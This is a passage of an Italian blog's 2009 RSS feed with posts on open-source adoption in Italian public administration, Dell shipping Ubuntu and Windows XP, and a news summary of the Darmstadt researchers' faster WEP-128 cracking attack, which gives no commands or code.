href="http://www.kde-apps.org/" target="_blank">http://www.kde-apps.org/</a> , sito in inglese che illustra le applicazioni disponibili per KDE, molto utile per i meno esperti, contenente recensioni suoi programmi disponibili.</p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2009/09/29/gestori-di-pacchetti/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>L&#8217;ascesa del software libero nella P.A.</title><link>http://www.arturu.it/blog/2009/09/29/lascesa-del-software-libero-nella-p-a/</link> <comments>http://www.arturu.it/blog/2009/09/29/lascesa-del-software-libero-nella-p-a/#comments</comments> <pubDate>Tue, 29 Sep 2009 14:00:45 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[Pubblica Amministrazione]]></category> <category><![CDATA[OpenSource]]></category> <category><![CDATA[PA]]></category> <category><![CDATA[Software]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=509</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/pubblica-amministrazione/" title="Pubblica Amministrazione">Pubblica Amministrazione</a></p>Il fenomeno dell&#8217;open source continua a diffondersi nelle Pubbliche Amministrazioni (PA). Dopo anni e anni di imposizione di formati e di software proprietari incomincia a diffondersi una filosofia di condivisione e di assolutà libertà. Una delle prime amministrazioni locali a [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/pubblica-amministrazione/" title="Pubblica Amministrazione">Pubblica Amministrazione</a></p><p><img
class="alignleft size-full wp-image-437" title="tux" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/tux.png" alt="tux" width="128" height="128" />Il fenomeno dell&#8217;open source continua a diffondersi nelle Pubbliche Amministrazioni (PA). Dopo anni e anni di imposizione di formati e di software proprietari incomincia a diffondersi una filosofia di condivisione e di assolutà libertà. Una delle prime amministrazioni locali a fare il passo è stata la provincia autonoma di Bolzano che ha incominciato ad utilizzare i fondi europei (<a
href="http://www.provincia.bz.it/lpa/news/news_i.asp?art=166324" target="_blank">vedi dettagli</a>) per far migrare le proprie scuole dal costosissimo e incostituzionale software proprietario all&#8217;Open Source, successivamente ha incominciato ad estendere l&#8217;utilizzo all&#8217;intera amministrazione pubblica, abbattendo i costi delle licenze software del 100% (cioè l&#8217;acquisto e l&#8217;aggiornamento dei programmi), rimangono solo i costi relativi alla manutenzione. Dopo questo successo economico&#8230;</p><p><span
id="more-509"></span></p><p
align="justify">Dopo questo successo economico e costituzionale questa politica ha incominciato a diffondersi in tutte le pubbliche amministrazioni italiane come ad esempio quella della provincia di Bari che ha dato il via al progetto:</p><p
align="justify"><em>&#8220;Disegno di Legge Regionale recante norme in materia di trasformazione ed adeguamento tecnologico della Pubblica Amministrazione Regionale secondo criteri di difesa della libertà, della democrazia e della sicurezza informatica nell&#8217;era della comunicazione digitale&#8221;.</em></p><p
align="justify"><em>&#8220;Per la prima volta in Italia &#8211; si legge in una nota diffusa dal PRC &#8211; viene proposto un disegno di legge regionale che si propone di regolamentare e trasformare la Pubblica Amministrazione attraverso l&#8217;adozione di un altro modello di impiego e di realizzazione del software utilizzato nella Pubblica Amministrazione passando da quello proprietario, costosissimo, a codice chiuso, immodificabile e con licenza d&#8217;uso a pagamento, a quello Open Source, modificabile e quasi sempre gratuito ed adattabile ad ogni esigenza dell&#8217;utilizzatore&#8221;.</em></p><p><em>Secondo i promotori, &#8220;le ricadute positive che deriverebbero dall&#8217;approvazione di questo DDL in termini di contenimento dei costi a bilancio, di sviluppo e crescita dell&#8217;economia e dell&#8217;occupazione sono già evidenti in numerose esperienze già realizzatesi altrove nel mondo, in Italia ed in Europa. Lo stesso DDL affronta, per la prima volta attraverso un atto legislativo, anche il grave problema dell&#8217;Hardware condizionato all&#8217;uso di software ad alto costo economico e sociale&#8221;. </em></p><p
align="justify">Su questa scia di innovazione e miglioramento (oltre ad altre PA come Puglia, Toscana ed Umbria, e presso enti locali come la provincia di Pescara o i comuni di Torino e Firenze) ieri la Regione Lombardia annuncia che migrerà al software Open Source reinderizzando i fondi risparmiati per far lavorare i giovani programmatori della regione, in questo modo si evita di mandare i propri fondi all&#8217;estero e lasciare senza lavoro altrettanti validi giovani programmatori italiani. L&#8217;intervista fatta all&#8217;autore di questo progetto si può leggere <a
href="http://punto-informatico.it/p.aspx?id=2005737&amp;r=PI" target="_blank">cliccando qui</a>, invece il testo della proposta di legge si può trovare <a
href="http://politicadelsoftware.openlabs.it/files/regione-lombardia-pdl-software-libero.pdf" target="_blank">cliccando qui</a>.</p><p
align="justify">Sulla scia del fenomeno Open Source il governo recentemente ha aperto un portale dedicato all&#8217;Open che si può trovare <a
href="http://www.osspa.cnipa.it/home/" target="_blank">cliccando qui</a>. Questo nuovo portale serve principalmente per favorire la collaborazione, la cooperazione, la condivisione delle informazioni e del supporto all&#8217;Open alle diverse PA, evitando quello che è successo fino ad ora a causa dell&#8217;utilizzo del software proprietario, cioè mi riferisco a tutte quelle problematiche comuni a tutte le PA che si ripresentano spesso e che devo essere risolte in modo autonomo a causa delle restizioni di questi software, invece con l&#8217;utilizzo dei Software Open Source la soluzione di un problema viene messa a disposizione di tutti facendo risparmiare tempo e denaro in quanto la condivisione dei dati e delle conoscenze è alla base di tutto il sistema.</p><p
align="justify">Un Saluto, Arturu.</p><p
align="justify">PS Riflettete&#8230; E&#8217; meglio collaborare ed essere un&#8217;unico continente che essere migliaia di isole sparse per l&#8217;oceano&#8230;</p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2009/09/29/lascesa-del-software-libero-nella-p-a/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Qualcosa stà cambiando&#8230;</title><link>http://www.arturu.it/blog/2009/09/16/qualcosa-sta-cambiando/</link> <comments>http://www.arturu.it/blog/2009/09/16/qualcosa-sta-cambiando/#comments</comments> <pubDate>Wed, 16 Sep 2009 21:27:22 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[News]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[dell]]></category> <category><![CDATA[ubuntu]]></category> <category><![CDATA[vista]]></category> <category><![CDATA[xp]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=492</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a></p>Da qualche giorno Dell (il secondo distributore al mondo di computer), difronte alle migliaia di richieste dei suoi utenti ha dovuto fare delle scelte che di certo non faranno piacere a Bill Gates. Come prima cosa ha reintrodotto Windows XP [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a></p><p><img
class="alignleft size-full wp-image-437" title="tux" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/tux.png" alt="tux" width="128" height="128" />Da qualche giorno Dell (il secondo distributore al mondo di computer), difronte alle migliaia di richieste dei suoi utenti ha dovuto fare delle scelte che di certo non faranno piacere a Bill Gates. Come prima cosa ha reintrodotto <a
href="http://punto-informatico.it/p.aspx?id=1965548&amp;r=PI" target="_blank">Windows XP al posto di Vista</a> (che riesce a vendere solo nella categoria Consumer) e poi con l&#8217;annuncio che venderà i propri computer con <a
href="http://punto-informatico.it/p.aspx?id=1972312&amp;r=PI" target="_blank">Linux Ubuntu già preinstallato</a>&#8230;<span
id="more-492"></span></p><div>Il mondo incomincia ad accorgersi che le politiche aziendali e i prodotti di Microsoft non sono veramente all&#8217;altezza della situazione come vorrebbero far intendere i &#8220;venditori&#8221;.</div><p>Facciamo il punto della situazione:</p><div>1) Dell, secondo produttore al mondo di pc, riceve un sacco di lamentele da parte dei suoi clienti che sono scontenti di Windows Vista. Per ricorrere ai ripari Dell in un primo momento fa reinstallare Windows XP per non vedere calare i suoi profitti;</div><p>2) Microsoft risponde che gli utenti che hanno richiesto questo sono &#8220;una minoranza&#8221; e che hanno &#8220;esigenze particolari&#8221; (poter usare un computer, ndr);<br
/> 3) Microsoft per evitare che si continui ad installare Windows XP e costringere tutti i distributori di pc a passare a Vista annuncia che da gennaio prossimo non venderà più licenze di Windows XP;<br
/> 4) Dell, sotto queste imposizioni e su una grandissima richiesta dei suoi clienti decide di installare Ubuntu 7.04 al posto di Windows Vista.</p><div>Ottimo!!!</div><p>Dopo questa bella notizia posso andare a dormire&#8230; <img
title="Laughing" src="../../home/mambots/editors/tinymce/jscripts/tiny_mce/plugins/emotions/images/smiley-laughing.gif" border="0" alt="Laughing" /></p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2009/09/16/qualcosa-sta-cambiando/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Cracking WEP-128bit in 60 secondi</title><link>http://www.arturu.it/blog/2009/09/16/cracking-wep-128bit-in-60-secondi/</link> <comments>http://www.arturu.it/blog/2009/09/16/cracking-wep-128bit-in-60-secondi/#comments</comments> <pubDate>Wed, 16 Sep 2009 21:16:38 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[Reti]]></category> <category><![CDATA[wi-fi]]></category> <category><![CDATA[wireless]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=8</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/reti/" title="Reti">Reti</a></p>Alcuni ricercatori della Technical University of Darmstadt hanno raggiunto un nuovo traguardo per quanto riguarda il cracking di rete wireless protette da WEP. Erik Tews, Andrei Pychkine e Ralf-Philipp Weinmann hanno descritto nel loro paper come siano stati in grado [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/reti/" title="Reti">Reti</a></p><p><img
class="alignleft size-full wp-image-467" title="xclock" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/xclock.png" alt="xclock" width="128" height="128" />Alcuni ricercatori della <a
href="http://www.tu-darmstadt.de/index.en.html" target="_blank">Technical University of Darmstadt</a> hanno raggiunto un nuovo traguardo per quanto riguarda il cracking di rete wireless protette da WEP.<br
/> Erik Tews, Andrei Pychkine e Ralf-Philipp Weinmann hanno descritto nel <a
href="http://eprint.iacr.org/2007/120.pdf" target="_blank">loro paper</a> come siano stati in grado di ridurre il numero di pacchetti catturati necessari per un attacco valido.<br
/> Una rete wireless protetta con chiave 128-bit WEP può ora essere compromessa in meno di un minuto sfruttando la loro nuova metodologia di attacco.</p><p><span
id="more-8"></span></p><p
align="justify">Dal <a
href="http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/" target="_blank">loro sito web</a> è possibile scaricare un archivio compresso contenente il necessario per aggiungere il nuovo metodo al noto programma di cracking disponibile su Linux: &#8220;WEP Aircrack&#8221;.<br
/> Fino ad adesso gli attacchi WEP più efficienti richiedevano per lo meno 500.000 pacchetti WEP utili per calcolare la chiave 104-bit usata dal sistema di protezione WEP 128-bit.<br
/> Una maniera molto semplice per collezionare pacchetti dati è quello di usare la tecnica dell’ARP reinjection, injection forzata di query ARP crittate.<br
/> In questo modo anche una rete wireless poco trafficata può essere compromessa in un tempo variabile dai 10 ai 40 minuti.</p><p
align="justify">I ricercatori sono stati in grado di migliorare l’attacco sviluppato da Klein contro l’algoritmo RC4 usata dal WEP, in maniera che i singoli bytes della chiave possano essere calcolati in maniera indipendente.<br
/> Il risultato è che con 40.000 pacchetti WEP c’è il 50% di possibilità di calcolare la chiave corretta.<br
/> Con 85.000 pacchetti la percentuale sale al 95%.<br
/> Il loro attacco stando a quanto dichiarato dovrebbe funzionare anche con WEPPlus, visto che la loro metodologia non è diretta verso la debolezza degli IVs, cosa che appunto WEPPlus nel tentativo di migliorare la sicurezza evita di utilizzare.</p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2009/09/16/cracking-wep-128bit-in-60-secondi/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> </channel> </rss>
